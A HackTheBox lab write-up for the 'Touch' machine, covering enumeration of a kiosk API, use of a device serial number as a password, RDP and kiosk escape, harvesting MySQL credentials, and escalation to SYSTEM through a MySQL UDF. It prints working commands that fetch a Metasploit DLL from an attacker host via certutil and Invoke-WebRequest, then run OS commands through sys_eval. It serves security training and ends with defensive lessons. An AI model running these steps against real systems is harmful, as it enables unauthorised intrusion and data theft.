Post

Touch Htb

Touch Htb

Touch - HackTheBox

Overview

Touch presented an airport self-service kiosk backed by a Windows system, a Nex(i)on DeviceHub management interface, and a MySQL database. The interesting part wasn’t a single flashy exploit: it was how a collection of weak operational practices chained together. An unauthenticated API leaked device information, the device’s default password allowed access to a management dashboard, and that dashboard exposed additional credentials. Once inside Windows, application files disclosed database credentials, including a privileged account password in a maintenance batch script. Finally, a MySQL User-Defined Function (UDF) was used to execute operating-system commands and read the Administrator flag.

Recon

Started off with an Nmap scan to search for open ports and services.

1
nmap -sVC -p- -v -O -o scan.txt <machine_ip>

scan

The scan identified TCP 135 (MSRPC), 3389 (RDP), 5985 (Microsoft HTTPAPI), and 8443 (HTTP management interface). Port 8443 redirected to /login, making it the natural starting point for web enumeration. Nmap’s service fingerprinting also reported Microsoft HTTPAPI/2.0.

Enumeration

Visiting the management interface on port 8443, I was redirected to the login page. I started tested for improper input sanitization including XSS, SQLi, but couldn’t bypass the form.

login-page

The page only asked for “Device password”, which made me think that there must be some kind of default password available for the device.

Gobuster

Using gobuster, I found /api endpoint.

api

Then I used gobuster again to enumerate new api-endpoints. I used SecLists’s common.txt wordlist

1
gobuster dir -u http://<machine_ip>/api/ -w /path/to/common.txt

got-new-api-endpoints

Finding device details

Visiting the /status endpoint, I found few manufacturer details about the Kiosk device.

api-status-endpoint

Initial Access

Gaining access using default password

Since the endpoint exposed the serial number of the device, I decided to use that no. as the Device password….and it worked! I gained access to the dashboard.

got-access

The interface exposed operational details about the connected passport scanner and boarding-pass printer, including firmware versions, serial numbers, connection information, and username/password fields with reveal controls.

RDP as KioskUser

This was the next trust-boundary failure: access to a peripheral-management interface exposed information useful for accessing the underlying Windows kiosk. I used the recovered Windows credentials to establish an RDP session as KioskUser.

1
xfreerdp3 /v:<machine_ip> /u:KioskUser /p:'<recovered-password>'

rdp

On RDP, I was greeted with HTB Airways check-in program, where I was required to authenticate as an attendee. I used the credentials provided by the challenge description itself: Jenny Crawford / KS7X2M

details

The credentials worked and I was greeted with some kind of document scanner.

couldn't_read

I was able to escape that by turning the Power Off of the Passport Scanner and Boarding Pass Printer, that way I can escape the environment.

power_off

Visiting the link and then pressing Ctrl + o on keyboard, will open the file manager. Now simply searching for cmd.exe will open the command prompt.

cmd-open

On typing whoami, we can see that we are logged-in as kioskuser.

Windows Enumeration

The command netstat -ano revealed that port 3306 is running MySQL service.

Navigating to C:\Users\KiokUser\Desktop\ we can access flag.txt

user txt

Now I used winPEAS.exe for enumerating local-privilege escalation vectors. First, use python server to transfer winPEAS.exe from attacker machine

1
python3 -m http.server <port>

note: default port is 8000 On the Windows machine, use powershell to receive the winpeas file:

1
Invoke-WebRequest -Uri "http://<attackbox_ip>:<port>/winPEAS.exe" -OutFile "C:\Users\KiosUser\Downloads\winPEAS.exe"

Finding database credentials

Enumerating further, I found MySQL database credentials under C:\Program Files\HTB Airways\Kiosk\packages\backend\src\database\ in a file named index.ts

1
type index.ts

found-db-creds

MySQL enumeration

winPEAS-fidings

WinPEAS highlighted permissive write-related ACLs on several executables in C:\MySQL\bin. I treated these as leads rather than proof of exploitation; the demonstrated successful escalation path was the MySQL UDF(User Defined Functions).

I began to inspect the MySQL database with the given credentials.

1
mysql -u kiosk_app -p -h 127.0.0.1 -P 3306

Using the command SHOW DATABASES; revealed all SQL databases being used.

mysql_access

The command USE htb_airways; will now help us view the tables in htb_airways database. The database contained all sensitive staff and customer information.

1
SELECT * FROM _htb_staff;

Will dump all information such as employee_id email auth_code role.

Privilege Escalation

I then located a maintenance script under C:\ProgramData\HTB Airways

1
type refresh-dates.bat

found-root-password

I then used these credentials to access the root account database. MySQL supports User-Defined Functions (UDFs): native shared libraries that extend SQL with additional functions. If an attacker can place a compatible library where MySQL loads plugins and has the required database privileges, a malicious UDF can bridge SQL queries to operating-system command execution.

I used the lib_mysqludf_sys_64.dll library available in the local Metasploit installation.

What exactly is lib_mysqludf_sys_64.dll? This DLL belongs to the lib_mysqludf_sys family of MySQL UDF libraries.

It provides functions that allow MySQL to interact with the underlying operating system.

Two commonly encountered functions are:

  • sys_exec() — executes an OS command and typically returns its exit status.
  • sys_eval() — executes an OS command and returns its standard output.
1
cp /opt/metasploit/data/exploits/mysql/lib_mysqludf_sys_64.dll ~/Labs/htb/touch/

will copy the malicious .dll exploit to working directory, so that it is ready to transfer.

You can read about it here: https://www.exploit-db.com/docs/english/44139-mysql-udf-exploitation.pdf?rss

copying-exploit

Start the python server in the attacker machine to transfer the .dll file

1
python3 -m http.server

We take advantage of certutil.exe - a Windows signed Living off the Land Binary(LOLBin) used to download and obfuscate payloads.

1
certutil -urlcache -split -f http://<attackbox_ip:<port>/lib_mysqludf_sys_64.dll C:\MySQL\lib\plugin\lib_mysqludf_sys_64.dll

certutil-transfer

I queried the MySQL’s plugin directory first.

1
SHOW VARIABLES LIKE 'plugin_dir';

plugin_dir

Then I checked the directory’s Windows ACLs with:

1
icacls "C:\MySQL\lib\plugin"

The displayed permissions included full control for SYSTEM and Administrators, read/execute for Users, and modify rights for Authenticated Users. This made the plugin directory a relevant target for investigating whether a DLL could be placed there.

plugin_dir-permissions

Now we proceed to register a UDF by registering a function sys_eval() which would let us execute system commands and display the output on the screen. We can do this by:

1
2
CREATE FUNCTION sys_eval RETURNS STRING
SONAME 'lib_mysqludf_sys_64.dll';

This registered the lib_mysqludf_sys_64.dll which would let us use sys_eval()

My first UDF registration attempt failed: ` ERROR 1126 (HY000): Can’t open shared library ‘lib_mysqludf_sys_64.dll’ (errno: 126 The specified module could not be found.) `

Turns out this resulted in error because I transferred the metasploit payload through python server, and the intended vector was certutil.exe abuse. Redoing this, fixed the error I was receiving.

Screenshot_20261117_141330

Retrieving the flag

Now that I sorted it, I proceeded to test the function using basic whoami

1
SELECT sys_eval('whoami');

got-admin

With that confirmation, I simply proceeded to grab the Administrator flag. Note: the output is in hexadecimal format, so you need to convert into plaintext format. You can use tools such as: https://gchq.github.io/CyberChef/#recipe=From_Hex(‘Auto’)&oeol=CR

1
SELECT sys_eval('type C:\\Users\\Administrator\\Desktop\\root.txt');

got-rootflag

And…we found the final flag! This was ‘Easy’ difficulty but was still challenging for me. Got to learn a lot tho.

Lessons Learned

Metadata is useful to attackers. A serial number and firmware version may be enough to identify a predictable credential scheme.

Management dashboards are security boundaries. Peripheral status pages should not expose reusable operating-system credentials to low-trust users.

Hardcoded credentials create pivot paths. Source files and operational scripts can expose database accounts that were never intended for kiosk operators.

Database privileges and OS privileges are different — and can compound. The ability to load a native UDF is especially dangerous when the MySQL service runs as SYSTEM.

Service-account least privilege matters. MySQL did not need unrestricted Windows SYSTEM privileges to serve an airport kiosk application.

A chain of small weaknesses can be decisive. The initial information disclosure alone did not provide code execution; subsequent credential exposures and excessive privileges made the compromise possible.

This post is licensed under CC BY 4.0 by the author.